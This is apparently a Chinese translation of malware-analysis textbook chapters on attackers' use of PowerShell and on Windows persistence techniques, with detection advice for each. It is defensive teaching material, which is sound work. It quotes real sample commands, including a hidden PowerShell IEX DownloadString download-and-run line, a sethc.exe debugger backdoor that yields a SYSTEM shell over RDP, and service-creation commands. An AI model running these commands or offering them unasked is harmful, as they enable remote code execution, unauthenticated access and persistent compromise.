PowerShell 的功能使你能够通过组合多个命令来创建脚本。PowerShell 脚本的扩展名为 .ps1. 默认情况下,你将无法执行 PowerShell 脚本。这是因为 PowerShell 中的默认 执行策略 设置阻止了 PowerShell 脚本的执行。执行策略决定了在何种条件下可以执行 PowerShell 脚本。默认情况下,执行策略设置为 "Restricted",这意味着无法执行 PowerShell 脚本(.ps1 文件),但仍然可以执行单个命令。例如,当 Write-Host "Hello World" 命令保存为 PowerShell 脚本 (hello.ps1) 并执行时,你会看到以下消息,说明脚本执行被禁用。这是由于执行策略设置的原因:
PS C:\> .\hello.ps1
.\hello.ps1 : File C:\hello.ps1 cannot be loaded because running scripts is disabled on this system. For more information, see about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170.
At line:1 char:1
+ .\hello.ps1
+ ~~~~~~~~~~~
+ CategoryInfo : SecurityError: (:) [], PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess
执行策略不是一个安全功能;它只是一个控制措施,用来防止用户不小心执行脚本。要显示当前的执行策略设置,可以使用以下命令:
PS C:\> Get-ExecutionPolicy
Restricted
你可以使用 Set-ExecutionPolicy 命令更改执行策略设置(前提是你以管理员身份执行命令)。在以下示例中,执行策略被设置为 Bypass,这允许脚本在没有任何限制的情况下运行。如果你遇到恶意 PowerShell 脚本,并且希望执行它以确定其行为,这个设置可能对你的分析很有帮助:
PS C:\> Set-ExecutionPolicy Bypass
PS C:\> .\hello.ps1
Hello World
1.6.2 分析 PowerShell 命令/脚本
相比于汇编代码,PowerShell 命令比较容易理解,但在某些情况下(比如 PowerShell 命令被混淆时),你可能想要运行这些 PowerShell 命令以理解它是如何工作的。测试单个命令的最简单方法是通过交互式 PowerShell 执行它。如果你希望执行一个包含多个命令的 PowerShell 脚本(.ps1),首先将执行策略设置更改为 Bypass 或 Unrestricted(如前所述),然后通过 PowerShell 控制台执行脚本。记住,要在隔离的环境中执行恶意脚本。
在 PowerShell 提示符下运行脚本(.ps1)会一次性执行所有命令。如果你希望对执行过程进行控制,那么可以使用 PowerShell ISE(集成脚本环境) 调试 PowerShell 脚本。你可以通过程序搜索功能打开 PowerShell ISE,然后将 PowerShell 脚本加载到 PowerShell ISE 中,或复制粘贴一个命令并使用其调试功能(如 逐步进入、逐步跳过、逐步跳出 和 断点),这些功能可以通过调试菜单访问。在调试之前,确保将执行策略设置为 Bypass:
1.6.3 攻击者如何使用 PowerShell
通过了解基础的 PowerShell 知识以及分析所需的工具,我们现在来看攻击者如何使用 PowerShell。由于在 PowerShell 控制台或双击运行 PowerShell 脚本(.ps1)时受到限制(会在记事本中打开,而不是执行脚本),因此攻击者不太可能直接将 PowerShell 脚本发送给受害者。攻击者必须首先欺骗用户执行恶意代码,这通常通过发送包含 .lnk、.wsf、JavaScript 或恶意宏文档等文件的电子邮件附件来实现。一旦用户被诱骗打开这些附件文件,恶意代码便可以直接调用 PowerShell(powershell.exe),或者通过 cmd.exe、Wscript、Cscript 等间接调用。一旦调用了 PowerShell,可以使用多种方法绕过执行策略。例如,攻击者可以使用恶意代码调用 powershell.exe 并传递 Bypass 执行策略标志,如下图所示。这种技术即使在用户不是管理员的情况下也能工作,它会覆盖默认的执行限制策略并执行脚本:
同样,攻击者还使用各种 PowerShell 命令行参数绕过执行策略。下表列出了最常用的 PowerShell 参数,用于规避检测和绕过本地限制:
| 命令行参数 | 描述 |
|---|---|
执行策略绕过 (-Exec bypass) | 忽略执行策略限制并在没有警告的情况下运行脚本 |
窗口样式隐藏 (-W Hidden) | 隐藏 PowerShell 窗口 |
无配置文件 (-NoP) | 忽略配置文件中的命令 |
编码命令 (-Enc) | 执行编码为 Base64 的命令 |
非交互模式 (-NonI) | 不向用户显示交互提示 |
命令 (-C) | 执行单个命令 |
文件 (-F) | 从指定文件执行命令 |
除了使用 PowerShell 命令行参数外,攻击者还会在 PowerShell 脚本中利用 cmdlet 或 .NET API。以下是最常用的命令和函数:
-
Invoke-Expression (IEX): 该 cmdlet 评估或执行指定的字符串作为命令 -
Invoke-Command: 该 cmdlet 可以在本地或远程计算机上执行 PowerShell 命令 -
Start-Process: 该 cmdlet 从给定的文件路径启动一个进程 -
DownloadString: 该方法来自System.Net.WebClient(WebClient 类),用于将资源从 URL 下载为字符串 -
DownloadFile(): 该方法来自System.Net.WebClient(WebClient 类),用于将资源从 URL 下载到本地文件
以下是作者博客中提到的一次攻击中使用的 PowerShell 下载器的示例(cysinfo.com/cyber-attack-targeting-indian-navys-submarine-warship-manufacturer/)。在这个例子中,PowerShell 命令通过受害者收到的电子邮件附件中的恶意宏,使用 cmd.exe 被触发,微软 Excel 表格内嵌的宏执行了该命令。
PowerShell 将下载的可执行文件投放到 %TEMP% 目录中,并命名为 doc6.exe。接着,它会为该可执行文件添加一个注册表条目,并调用 eventvwr.exe,这是一种有趣的注册表劫持技术,允许 doc6.exe 被 eventvwr.exe 以高权限级别执行。该技术还悄悄绕过了 UAC(用户帐户控制):
以下是一次定向攻击中的 PowerShell 命令示例(cysinfo.com/uri-terror-attack-spear-phishing-emails-targeting-indian-embassies-and-indian-mea/)。在这个例子中,PowerShell 是通过恶意宏触发的,且不是直接下载一个可执行文件,而是通过 DownloadString 方法下载了来自 Pastebin 链接的 base64 编码内容。下载编码内容后,它会被解码并写入磁盘:
powershell -w hidden -ep bypass -nop -c "IEX ((New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/[removed]'))"
在以下示例中,在调用 PowerShell 之前,恶意软件投放器首先在 %Temp% 目录中写入一个扩展名为 .bmp 的 DLL 文件(heiqh.bmp),然后通过 PowerShell 启动 rundll32.exe 来加载该 DLL,并执行 DLL 导出的函数 dlgProc:
PowerShell cd $env:TEMP ;start-process rundll32.exe heiqh.bmp,dlgProc
有关恶意软件攻击中使用的不同 PowerShell 技术的更多信息,请参阅白皮书:攻击中 PowerShell 使用的增加: www.symantec.com/content/dam/symantec/docs/security-center/white-papers/increased-use-of-powershell-in-attacks-16-en.pdf。对手利用各种混淆技术使分析变得更加困难。想了解攻击者如何使用 PowerShell 混淆技术,请观看 Daniel Bohannon 在 Derbycon 的演讲:www.youtube.com/watch?v=P1lkflnWb0I。
2. 恶意软件持久化方法
对手常常希望他们的恶意程序即使在 Windows 重启后也能继续存在。这通过使用各种持久性方法实现;这种持久性允许攻击者在不需要重新感染的情况下继续存在于被攻击的系统中。有许多方法可以让恶意代码每次在 Windows 启动时执行。在这一节中,你将了解一些对手使用的持久性方法。这些持久性技术中的一些方法允许攻击者在提权后执行恶意代码(权限提升)。
2.1 运行注册表键
对手用来在重启后生存的最常见的持久性机制之一是通过向运行注册表键添加条目来实现。添加到运行注册表键中的程序会在系统启动时执行。以下是最常见的运行注册表键的列表。除了我们即将提到的这些,恶意软件还可以将自己添加到其他自动启动位置。了解各种自动启动位置的最好方法是使用 Sysinternals 的AutoRuns 工具(docs.microsoft.com/en-us/sysinternals/downloads/autoruns):
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
在以下示例中,执行时,恶意软件(bas.exe)首先在 Windows 目录中投放一个可执行文件(LSPRN.EXE),然后在运行注册表键中添加以下条目,以便每次系统启动时都能启动该恶意程序。从注册表条目可以看出,恶意软件试图使其二进制文件看起来像一个与打印机相关的应用程序:
[RegSetValue] bas.exe:2192 > HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\PrinterSecurityLayer = C:\Windows\LSPRN.EXE
要检测使用这种持久性方法的恶意软件,你可以监控那些与已知程序无关的 Run 注册表键的变动。你也可以使用 Sysinternal 的AutoRuns 工具来检查自动启动位置的可疑条目。
2.2 调度任务
另一个对手使用的持久性方法是调度任务,使其能够在指定时间或系统启动时执行恶意程序。像schtasks和at这样的 Windows 工具通常被对手用来调度程序或脚本在指定的日期和时间执行。通过利用这些工具,攻击者可以在本地计算机或远程计算机上创建任务,只要用于创建任务的账户是管理员组的成员。在以下示例中,恶意软件(ssub.exe)首先在%AllUsersProfile%\WindowsTask\目录中创建一个名为service.exe的文件,然后调用cmd.exe,该程序进一步使用schtasks Windows 工具创建一个调度任务以保持持久性:
[CreateFile] ssub.exe:3652 > %AllUsersProfile%\WindowsTask\service.exe
[CreateProcess] ssub.exe:3652 > "%WinDir%\System32\cmd.exe /C schtasks /create /tn MyApp /tr %AllUsersProfile%\WindowsTask\service.exe /sc ONSTART /f"
[CreateProcess] cmd.exe:3632 > "schtasks /create /tn MyApp /tr %AllUsersProfile%\WindowsTask\service.exe /sc ONSTART /f
要检测这种持久性类型,可以使用 Sysinternals 的Autoruns或任务计划程序实用程序列出当前计划任务。应考虑监视与合法程序无关的任务的更改。还可以监视传递给系统实用程序(如cmd.exe)的命令行参数,这些参数可能用于创建任务。任务也可以使用管理工具(如PowerShell和Windows 管理工具(WMI))创建,因此适当的日志记录和监视应有助于检测此技术。
2.3 启动文件夹
攻击者可以通过将其恶意二进制文件添加到启动文件夹中实现持久性。操作系统启动时,将查找启动文件夹并执行位于此文件夹中的文件。Windows 操作系统维护两种类型的启动文件夹:(a)用户范围和*(b)系统范围*,如下所示。位于用户启动文件夹中的程序仅为特定用户执行,而位于系统文件夹中的程序在任何用户登录到系统时执行。需要管理员权限才能使用系统范围的启动文件夹实现持久性:
C:\%AppData%\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
在以下示例中,恶意软件*(Backdoor.Nitol)首先将文件放在%AppData%目录中。然后创建一个指向已放置文件的快捷方式(.lnk),然后将该快捷方式添加到Startup文件夹中。这样,当系统启动时,通过快捷方式(.lnk*)文件执行已放置的文件:
[CreateFile] bllb.exe:3364 > %AppData%\Abcdef Hijklmno Qrs\Abcdef Hijklmno Qrs.exe
[CreateFile] bllb.exe:3364 > %AppData%\Microsoft\Windows\Start Menu\Programs\Startup\Abcdef Hijklmno Qrs.exe.lnk
要检测这种类型的攻击,可以监视添加的条目和对启动文件夹所做的更改。
2.4 Winlogon 注册表条目
攻击者可以通过修改Winlogon进程使用的注册表条目来实现持久性。Winlogon 进程负责处理交互式用户登录和注销。一旦用户经过身份验证,winlogon.exe进程会启动userinit.exe,该进程运行登录脚本并重新建立网络连接。然后userinit.exe启动explorer.exe,这是默认用户的外壳。
winlogon.exe进程启动userinit.exe是由以下注册表值决定的。此条目指定 Winlogon 在用户登录时需要执行哪些程序。默认情况下,此值设置为userinit.exe的路径(C:\Windows\system32\userinit.exe)。攻击者可以更改或添加另一个包含恶意可执行文件路径的值,然后该文件将由winlogon.exe进程启动(用户登录时):
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
同样,userinit.exe查看以下注册表值以启动默认用户的外壳。默认情况下,此值设置为explorer.exe。攻击者可以更改或添加另一个条目,其中包含恶意可执行文件的名称,然后由userinit.exe启动:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
在以下示例中,Brontok 蠕虫通过修改以下 Winlogon 注册表值并使用其恶意可执行文件实现持久化:
要检测这种类型的持久化机制,可以使用 Sysinternals Autoruns 实用程序。你可以监视注册表中的可疑条目(与合法程序无关),如前所述。
2.5 图像文件执行选项
图像文件执行选项 (IFEO) 允许直接在调试器下启动可执行文件。它为开发者提供了调试软件的选项,以调查可执行文件启动代码中的问题。开发者可以在以下注册表项下创建一个与其可执行文件名称相同的子键,并将调试器值设置为调试器的路径:
Key: "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable name>"
Value: Debugger : REG_SZ : <full-path to the debugger>
对手利用这个注册表键来启动他们的恶意程序。为了演示这种技术,notepad.exe的调试器被设置为计算器(calc.exe)进程,通过添加以下注册表项:
现在,当你启动记事本时,它将通过计算器程序启动(即使它不是一个调试器)。这种行为可以在以下截图中看到:
以下是一个恶意软件样本*(TrojanSpy:Win32/Small.M)*的示例,它将其恶意程序iexplor.exe配置为 Internet Explorer 的调试器(iexplore.exe)。这是通过添加以下注册表值实现的。在这种情况下,攻击者选择了一个与合法的 Internet Explorer 可执行文件名相似的文件名。由于以下注册表项的存在,每当执行合法的 Internet Explorer(iexplore.exe)时,它将通过恶意程序iexplor.exe启动,从而执行恶意代码:
[RegSetValue] LSASSMGR.EXE:960 > HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe\Debugger = C:\Program Files\Internet Explorer\iexplor.exe
要检测这种类型的持久化技术,可以检查 Image File Execution Options注册表项,查看是否有与合法程序无关的修改。
2.6 可访问性程序
Windows 操作系统提供了多种可访问性功能,例如屏幕键盘、讲述人、放大镜、语音识别等。这些功能主要是为有特殊需求的人群设计的。这些可访问性程序甚至在未登录系统的情况下也可以启动。例如,许多可访问性程序可以通过按下Windows + U键组合来访问,这将启动C:\Windows\System32\utilman.exe,或者你可以通过连续按五次Shift 键来启用粘滞键,这将启动程序C:\Windows\System32\sethc.exe。攻击者可以改变这些可访问性程序(如sethc.exe和utilman.exe)的启动方式,执行他们选择的程序,或者利用具有提升权限的cmd.exe(权限提升)。
攻击者利用粘滞键(sethc.exe)功能通过远程桌面(RDP)获得未认证的访问权限。在 Hikit Rootkit 的情况下,(www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html) 合法的 sethc.exe 程序被替换为 cmd.exe。这使得攻击者仅需按五次 Shift 键,就能通过 RDP 获得带有 SYSTEM 权限的命令提示符。虽然在旧版 Windows 中,可以将辅助功能程序替换为其他程序,但新版 Windows 强制执行各种限制,比如替换后的二进制文件必须位于 %systemdir%,必须为 x64 系统数字签名,并且必须受到 Windows 文件或资源保护(WFP/WRP) 的保护。这些限制使得攻击者很难替换合法的程序(如 sethc.exe)。为了避免替换文件,攻击者利用 图像文件执行选项(在上一节中已讲解),如以下代码所示。以下注册表项将 cmd.exe 设置为 sethc.exe 的调试器;现在,攻击者可以通过 RDP 登录并按五次 Shift 键来访问系统级别的命令行。通过该命令行,攻击者可以在身份验证之前执行任何任意命令。同样,一个恶意后门程序也可以通过将其设置为 sethc.exe 或 utilman.exe 的调试器来执行:
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
在以下示例中,当恶意软件样本(mets.exe)被执行时,它会运行以下命令,该命令修改防火墙规则/注册表以允许 RDP 连接,然后添加一个注册表值,将任务管理器(taskmgr.exe)设置为 sethc.exe 的调试器。这使得攻击者可以通过 RDP 访问 taskmgr.exe(并具有 SYSTEM 权限)。使用此技术,攻击者可以在不登录系统的情况下,通过 RDP 终止进程 或 启动/停止服务:
[CreateProcess] mets.exe:564 > "cmd /c netsh firewall add portopening tcp 3389 all & reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f & REG ADD HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe /v Debugger /t REG_SZ /d %windir%\system32\taskmgr.exe /f"
这种攻击类型稍微难以检测,因为攻击者要么用合法程序替换辅助功能程序,要么利用合法程序。然而,如果你怀疑辅助功能程序(sethc.exe)已被合法文件(如 cmd.exe 或 taskmgr.exe)替换,那么你可以通过比较替换后辅助功能程序的哈希值与合法文件(cmd.exe 或 taskmgr.exe)的哈希值,来寻找是否匹配。哈希值匹配表明原始的 sethc.exe 文件已被替换。你还可以检查 图像文件执行选项 注册表项,查看是否有任何可疑的修改。
2.7 AppInit_DLLs
Windows 中的 AppInit_DLLs 功能提供了一种将自定义 DLL 加载到每个交互式应用程序地址空间中的方法。一旦 DLL 被加载到任何进程的地址空间中,它就可以在该进程的上下文中运行,并且可以挂钩常见的 API 来实现替代功能。攻击者可以通过在以下注册表项中设置 AppInit_DLLs 值来使其恶意 DLL 保持持久性。该值通常包含由空格或逗号分隔的 DLL 列表。这里指定的所有 DLL 都会被加载到每个加载 User32.dll 的进程中。由于几乎所有进程都加载 User32.dll,这一技术使得攻击者能够将其恶意 DLL 加载到大多数进程中,并在加载的进程上下文中执行恶意代码。除了设置 AppInit_DLLs 值外,攻击者还可以通过将 LoadAppInit_DLLs 注册表值设置为 1 来启用 AppInit_DLLs 功能。在 Windows 8 及更高版本中,如果启用了安全启动,AppInit_DLLs 功能将被禁用:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows
以下截图显示了T9000 后门添加的 AppInit DLL 条目 (researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/):
由于添加了上述注册表条目,当任何新的进程(加载了User32.dll)启动时,它会将恶意 DLL(ResN32.dll)加载到其地址空间中。以下截图显示了系统重启后加载了恶意 DLL(ResN32.dll)的操作系统进程。由于大多数这些进程以高完整性级别运行,因此攻击者可以利用这一点以提升的权限执行恶意代码:
为了检测这一技术,您可以查找 AppInit_DLLs 注册表值中与您环境中的合法程序无关的可疑条目。您还可以查找由于加载恶意 DLL 而表现出异常行为的进程。
2.8 DLL 搜索顺序劫持
当一个进程被执行时,它相关的 DLL 被加载到进程内存中(无论是通过导入表,还是因为进程调用了LoadLibrary() API)。Windows 操作系统会按照特定顺序在预定义的位置搜索要加载的 DLL。搜索顺序的文档可以在 MSDN 中找到:msdn.microsoft.com/en-us/library/ms682586(VS.85).aspx。
简而言之,如果需要加载任何 DLL,操作系统首先会检查该 DLL 是否已加载到内存中。如果已加载,它会使用已加载的 DLL。如果未加载,操作系统会检查 DLL 是否已在 KnownDLLs 注册表键中定义(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs)。此处列出的 DLL 是系统 DLL(位于 system32 目录中),它们通过 Windows 文件保护 进行保护,以确保除操作系统更新外,这些 DLL 不会被删除或更新。如果要加载的 DLL 在 KnownDLLs 列表中,那么该 DLL 始终会从 System32 目录加载。如果这些条件不满足,操作系统会按顺序在以下位置查找 DLL:
-
应用程序启动的目录。
-
系统目录(
C:\Windows\System32)。 -
16 位系统目录(
C:\Windows\System)。 -
Windows 目录(
C:\Windows)。 -
当前目录。
-
PATH变量中定义的目录。
攻击者可以利用操作系统查找 DLL 的方式来提升权限并实现持久性。考虑到在“Operation Groundbait”行动中使用的恶意软件(Prikormka dropper)(www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf)。该恶意软件在执行时会在 Windows 目录(C:\Windows)中放置一个名为 samlib.dll 的恶意 DLL,如下所示:
[CreateFile] toor.exe:4068 > %WinDir%\samlib.dll
在一个干净的操作系统中,名为 samlib.dll 的 DLL 存在于 C:\Windows\System32 目录中,并且该干净的 DLL 会被位于 C:\Windows 目录中的 explorer.exe 加载。该干净的 DLL 也会被其他一些位于 system32 目录中的进程加载,如下所示:
由于恶意 DLL 被放置在与 explorer.exe 相同的目录中(即 C:\Windows),因此在系统重启后,恶意的 samlib.dll 会由 explorer.exe 从 C:\Windows 目录加载,而不是从 system32 目录加载合法的 DLL。以下截图显示了在感染系统重启后,由于 DLL 搜索顺序劫持,explorer.exe 加载了恶意 DLL:
DLL 搜索顺序劫持 技术使得取证分析变得更加困难,并且能够绕过传统防御措施。为了检测此类攻击,您应考虑监控 DLL 的创建、重命名、替换或删除,并查看任何由进程加载的来自异常路径的模块(DLL)。
2.9 COM 劫持
组件对象模型(COM) 是一个允许软件组件互相交互和通信的系统,即使它们互相之间不了解对方的代码(msdn.microsoft.com/en-us/library/ms694363(v=vs.85).aspx)。软件组件通过使用 COM 对象相互交互,这些对象可以位于单个进程、其他进程或远程计算机上。COM 被实现为一个客户端/服务器框架。COM 客户端是一个使用 COM 服务器(COM 对象)服务的程序,COM 服务器是一个为 COM 客户端提供服务的对象。COM 服务器实现了一个包含各种方法(函数)的接口,这些方法可以在 DLL 中(称为 进程内服务器)或 EXE 中(称为 进程外服务器)。COM 客户端可以通过创建 COM 对象的实例、获取接口指针并调用其接口中实现的方法来使用 COM 服务器提供的服务。
Windows 操作系统提供了各种 COM 对象,供程序(COM 客户端)使用。这些 COM 对象由一个唯一的编号标识,称为 类标识符(CLSIDs),它们通常可以在注册表项 HKEY_CLASSES_ROOT\CLSID\< unique clsid> 中找到。例如,我的电脑 的 COM 对象是 {20d04fe0-3aea-1069-a2d8-08002b30309d},可以在以下截图中看到:
对于每个 CLSID 键,您还有一个名为 InProcServer32 的子键,指定实现 COM 服务器功能的 DLL 文件名。以下截图显示 shell32.dll(COM 服务器)与 我的电脑 关联:
类似于 我的电脑 COM 对象,微软提供了各种其他 COM 对象(通过 DLL 实现),这些对象被合法程序所使用。当合法程序(COM 客户端)使用特定 COM 对象的服务(使用其 CLSID)时,相关的 DLL 会被加载到客户端程序的进程地址空间中。在 COM 劫持 的情况下,攻击者修改了合法 COM 对象的注册表项,并将其与攻击者的恶意 DLL 关联。其目的是,当合法程序使用被劫持的对象时,恶意 DLL 会被加载到合法程序的地址空间中。这使得攻击者能够在系统上保持持久性并执行恶意代码。
在以下示例中,当执行恶意软件(Trojan.Compfun)时,它会丢弃一个带有 ._dl 扩展名的 dll 文件,如下所示:
[CreateFile] ions.exe:2232 > %WinDir%\system\api-ms-win-downlevel-qgwo-l1-1-0._dl
然后,恶意软件在 HKCU\Software\Classes\CLSID 中设置以下注册表值。此条目将 MMDeviceEnumerator 类的 COM 对象 {BCDE0395-E52F-467C-8E3D-C4579291692E} 与恶意 DLL C:\Windows\system\api-ms-win-downlevel-qgwo-l1-1-0._dl 关联,针对当前用户:
[RegSetValue] ions.exe:2232 > HKCU\Software\Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\InprocServer32\(Default) = C:\Windows\system\api-ms-win-downlevel-qgwo-l1-1-0._dl
在干净的系统上,MMDeviceEnumerator 类的 COM 对象 {BCDE0395-E52F-467C-8E3D-C4579291692E} 关联的 DLL 是 MMDevApi.dll,其注册表条目通常位于 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\,而在 HKCU\Software\Classes\CLSID\ 中找不到相应的条目:
由于恶意软件在 HKCU\Software\Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E} 中添加了条目,受感染的系统现在包含了相同 CLSID 的两个注册表条目。由于用户对象从 HKCU\Software\Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E} 被加载,优先于位于 HKLM\SOFTWARE\Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E} 的机器对象,恶意 DLL 被加载,从而劫持了 MMDeviceEnumerator 的 COM 对象。现在,任何使用 MMDeviceEnumerator 对象的进程都会加载恶意 DLL。在重新启动受感染的系统后,如下图所示,explorer.exe 加载了恶意 DLL。
COM 劫持 技术可逃避大多数传统工具的检测。要检测此类攻击,可以查看 HKCU\Software\Classes\CLSID\ 中对象的存在。恶意软件可能不会在 HKCU\Software\Classes\CLSID\ 中添加条目,而是修改 HKLM\Software\Classes\CLSID\ 中的现有条目以指向恶意二进制文件,因此还应考虑检查此注册表键中指向未知二进制文件的任何值。
2.10 服务
服务是在后台运行且没有用户界面的程序,它提供核心操作系统功能,如事件日志记录、打印、错误报告等。攻击者通过将恶意程序安装为服务或修改现有服务,可以在具有管理员特权的系统上持久存在。使用服务的优势在于可以在操作系统启动时自动启动,并且大多数情况下以 SYSTEM 等特权帐户运行;这使攻击者可以提升权限。攻击者可以将恶意程序实现为 EXE、DLL 或 内核驱动程序 并将其作为服务运行。Windows 支持各种服务类型,以下概述了恶意程序常用的一些服务类型:
-
Win32OwnProcess: 该服务的代码作为可执行文件实现,并作为单独的进程运行
-
Win32ShareProcess: 该服务的代码作为 DLL 实现,并且从共享主机进程 (
svchost.exe) 运行 -
内核驱动程序服务: 这种类型的服务在驱动程序(
.sys)中实现,并用于在内核空间执行代码
Windows 将已安装服务及其配置存储在注册表的 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services 键下。每个服务都有其自己的子键,其中包含指定如何、何时以及是否以 EXE、DLL 或 内核驱动程序 实现该服务的值。例如,Windows 安装程序服务 的服务名为 msiserver,在以下截图中,注册表下的子键与服务名相同,位于 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services 下。ImagePath 值指定该服务的代码实现于 msiexec.exe,Type 值为 0x10(16),表示它是 Win32OwnProcess,而 Start 值 0x3 表示 SERVICE_DEMAND_START,即该服务需要手动启动:
要确定与常量值关联的符号名称,您可以参考 MSDN 文档中的 CreateService() API (msdn.microsoft.com/en-us/library/windows/desktop/ms682450(v=vs.85).aspx),或者可以通过提供服务名称来使用 sc 工具查询服务配置,如下所示。这将显示类似于注册表子项中找到的信息:
C:\>sc qc "msiserver"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: msiserver
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\system32\msiexec.exe /V
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Windows Installer
DEPENDENCIES : rpcss
SERVICE_START_NAME : LocalSystem
现在我们来看一个 Win32ShareProcess 服务的示例。Dnsclient 服务的服务名为 Dnscache,该服务的代码实现于 DLL 中。当服务实现为 DLL(服务 DLL)时,ImagePath 注册表值通常会包含指向 svchost.exe 的路径(因为该进程加载了服务 DLL)。要确定与服务关联的 DLL,您需要查看 ServiceDLL 值,该值位于 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\<service name>\Parameters 子项下。以下截图显示了与 Dnsclient 服务关联的 DLL(dnsrslvr.dll);该 DLL 由通用宿主进程 svchost.exe 加载:
攻击者可以通过多种方式创建服务。以下概述了其中一些常见的方法:
- sc 工具: 恶意软件可以调用
cmd.exe并运行sc命令,例如sc create和sc start(或net start)来创建和启动服务。以下示例中,恶意软件通过cmd.exe执行sc命令来创建并启动一个名为update的服务:
[CreateProcess] update.exe:3948 > "%WinDir%\System32\cmd.exe /c sc create update binPath= C:\malware\update.exe start= auto && sc start update "
- 批处理脚本: 恶意软件可以投放批处理脚本并执行前面提到的命令来创建和启动服务。在以下示例中,恶意软件 (Trojan:Win32/Skeeyah) 投放了一个批处理脚本(
SACI_W732.bat)并执行该脚本(通过cmd.exe),该脚本会创建并启动一个名为Saci的服务:
[CreateProcess] W732.exe:2836 > "%WinDir%\system32\cmd.exe /c %LocalAppData%\Temp\6DF8.tmp\SACI_W732.bat "
[CreateProcess] cmd.exe:2832 > "sc create Saci binPath= %WinDir%\System32\Saci.exe type= own start= auto"
[CreateProcess] cmd.exe:2832 > "sc start Saci"
- Windows API:恶意软件可以使用 Windows API,如
CreateService()和StartService()来创建和启动服务。当你在后台运行sc utility时,它使用这些 API 调用来创建和启动服务。考虑以下NetTraveler恶意软件的示例。执行时,它首先会丢弃一个 dll:
[CreateFile] d3a.exe:2904 > %WinDir%\System32\FastUserSwitchingCompatibilityex.dll
然后,它通过OpenScManager() API 打开到服务控制管理器的句柄,并通过调用CreateService() API 创建一个Win32ShareProcess类型的服务。第二个参数指定服务的名称,在这种情况下是FastUserSwitchingCompatiblity:
在调用CreateService()后,服务被创建,并且以下注册表项被添加,包含服务配置信息:
接着,它在之前创建的注册表项下创建一个Parameters子项:
之后,它丢弃并执行一个批处理脚本,该脚本设置注册表值(ServiceDll)以将 DLL 与创建的服务关联。批处理脚本的内容如下所示:
@echo off
@reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d C:\Windows\system32\FastUserSwitchingCompatibilityex.dll
由于创建了一个Win32ShareProcess服务,当系统启动时,服务控制管理器(services.exe)启动svchost.exe进程,进而加载恶意的 ServiceDLL FastUserSwitchingCompatibilityex.dll。
- PowerShell 和 WMI:可以使用管理工具如PowerShell(
docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-service?view=powershell-5.1)和Windows Management Instrumentation (WMI) 高级接口(msdn.microsoft.com/en-us/library/aa394418(v=vs.85).aspx)来创建服务。
攻击者可以修改(劫持)现有服务,而不是创建新服务。通常,攻击者劫持的是未使用或已禁用的服务。这使得检测稍微变得困难,因为如果你试图查找非标准或未识别的服务,你可能会错过这种类型的攻击。考虑以下BlackEnergy恶意软件投放器的示例,它劫持现有服务以在系统上保持存在。执行时,BlackEnergy替换了一个合法的驱动程序aliide.sys(与名为aliide的服务相关联),该驱动程序位于system32\drivers目录中,并将其替换为恶意的aliide.sys驱动程序。替换驱动程序后,它修改与aliide服务相关的注册表项,并将其设置为自动启动(服务在系统启动时自动启动),如下所示:
[CreateFile] big.exe:4004 > %WinDir%\System32\drivers\aliide.sys
[RegSetValue] services.exe:504 > HKLM\System\CurrentControlSet\services\aliide\Start = 2
以下截图显示了aliide服务在修改前后的服务配置。有关BlackEnergy3大掉落器的详细分析,请阅读作者的博客文章,链接如下:cysinfo.com/blackout-memory-analysis-of-blackenergy-big-dropper/
为了检测此类攻击,请监控与合法程序无关的服务注册表条目的变化。查看与服务关联的二进制路径的修改情况,以及服务启动类型(从手动到自动)的变化。你还应考虑监控和记录使用像sc、PowerShell和WMI等工具的情况,这些工具可以用来与服务交互。Sysinternals 的AutoRuns 工具也可以用来检查服务的持久性使用情况。
